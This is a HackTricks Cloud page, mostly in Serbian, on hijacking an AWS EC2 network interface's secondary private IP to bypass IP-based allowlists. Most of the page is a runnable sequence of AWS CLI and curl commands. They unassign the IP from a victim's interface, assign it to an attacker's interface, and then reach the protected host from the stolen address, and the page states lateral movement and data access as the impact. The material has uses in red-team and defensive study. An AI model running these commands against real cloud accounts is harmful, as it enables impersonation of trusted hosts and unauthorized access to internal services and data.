AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Zloupotrebite ec2:UnassignPrivateIpAddresses i ec2:AssignPrivateIpAddresses da ukradete sekundarnu private IP adresu ENI-ja žrtve i premestite je na attacker ENI u istom subnet/AZ. Mnoge interne usluge i security groups ograničavaju pristup na osnovu specifičnih private IPs. Premestivši tu sekundarnu adresu, attacker se predstavlja kao pouzdani host na L3 i može da pristupi allowlisted services.
Preduslovi:
- Dozvole:
ec2:DescribeNetworkInterfaces,ec2:UnassignPrivateIpAddresseson the victim ENI ARN, andec2:AssignPrivateIpAddresseson the attacker ENI ARN. - Both ENIs must be in the same subnet/AZ. The target address must be a secondary IP (primary cannot be unassigned).
Variables:
- REGION=us-east-1
- VICTIM_ENI=
- ATTACKER_ENI=
- PROTECTED_SG=
# SG on a target service that allows only $HIJACK_IP - PROTECTED_HOST=
Koraci:
- Pick a secondary IP from the victim ENI
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
- Uverite se da zaštićeni host dozvoljava samo taj IP (idempotentno). Ako umesto toga koristite SG-to-SG pravila, preskočite.
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
- Osnovno: sa attacker instance, zahtev ka PROTECTED_HOST trebalo bi da ne uspe bez spoofed source (npr. preko SSM/SSH)
curl -sS --max-time 3 http://$PROTECTED_HOST || true
- Uklonite sekundarnu IP adresu sa ENI-ja žrtve
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
- Dodelite istu IP adresu attacker ENI-ju (na AWS CLI v1 dodajte
--allow-reassignment)
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
- Potvrdite da je vlasništvo premešteno
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
- Sa attacker instance izvršite source-bind na hijacked IP kako biste došli do protected host (osigurajte da je IP konfigurisan na OS; ako nije, dodajte ga sa
ip addr add $HIJACK_IP/<mask> dev eth0)
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
Uticaj
- Zaobiđite IP allowlists i lažno se predstavljajte kao pouzdani hostovi unutar VPC-a pomeranjem sekundarnih private IPs između ENIs u istoj subnet/AZ.
- Pristupite internim servisima koji ograničavaju pristup na osnovu specifičnih source IPs, omogućavajući lateral movement i pristup podacima.
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

